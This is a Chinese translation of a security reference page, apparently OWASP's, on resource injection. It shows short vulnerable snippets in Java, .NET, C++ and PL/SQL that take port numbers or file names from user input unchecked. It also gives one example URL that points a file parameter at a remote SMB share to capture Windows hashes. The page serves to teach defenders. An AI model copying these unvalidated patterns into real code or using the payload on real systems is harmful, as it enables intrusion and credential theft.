Contents
最新版本(mm/dd/yy): 10/6/2015
翻译至Resource Injection
概述
此攻击能够更改应用程序使用的资源标识符以此来执行恶意任务。当应用程序根据用户的输入(如文件名或端口号)定义资源类型或位置时,可以操作此数据以执行或访问不同的资源。
受用户输入影响的资源类型指示可能会暴露的内容类型。例如,允许输入特殊字符(如句号,斜线和反斜线)的应用程序和与文件系统交互的方法一起使用时会有风险。
资源注入攻击不同于Path Manipulation,因为资源注入专注于访问除本地文件系统以外的资源,而Path Manipulation则着重访问本地文件系统。
实例
实例1
以下示例表示一个应用程序,它从HTTP请求获取端口号,并使用此端口号创建一个套接字(socket),而不进行任何验证。使用代理的用户可以修改此端口并获得与服务器的直接连接(socket)。
Java code
String rPort = request.getParameter("remotePort");
...
ServerSocket srvr = new ServerSocket(rPort);
Socket skt = srvr.accept();
...
.NET code
int rPort = Int32.Parse(Request.get_Item("remotePort "));
...
IPEndPoint endpoint = new IPEndPoint(address,rPort);
socket = new Socket(endpoint.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);
socket.Connect(endpoint);
...
实例2
这个例子和前面的一样,不过这个是用C++通过CGI请求获得端口号
char* rPort = getenv("remotePort ");
...
serv_addr.sin_port = htons(atoi(rPort));
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
...
实例3
PLSQL / TSQL中的这个例子从CGI获取URL路径并下载其中包含的文件。如果用户修改路径或文件名,可以从服务器下载任意文件:
...
filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
WPG_DOCLOAD.download_file(filename);
...
实例4
此示例显示了一项资源注入攻击,重点从远程服务器获取Microsoft Windows SMB散列(hash):
– http://www.vulnerable.com/open.aspx?filename=\192.168.1.2\test.txt
相关的威胁代理
- 逻辑攻击(Logical Attacks)
- 信息泄露(Information Disclosure)
相关攻击
- 路径遍历(Path Traversal)
- 路径操作(Path Manipulation)
- 相对路径遍历(Relative Path Traversal)
- 注入攻击(Injection Attacks)
相关漏洞
- 输入验证漏洞(Input Validation Vulnerability)
相关控件
- 输入验证(Input Validation)
参考文献
- http://samate.nist.gov/SRD/view_testcase.php?tID=1734
- http://cwe.mitre.org/data/definitions/99.html
- https://cwe.mitre.org/data/definitions/40.html
- http://capec.mitre.org/data/index.html#Definition
- http://www.fortifysoftware.com/vulncat/
- G. Hoglund and G. McGraw. Exploiting Software. Addison-Wesley, 2004.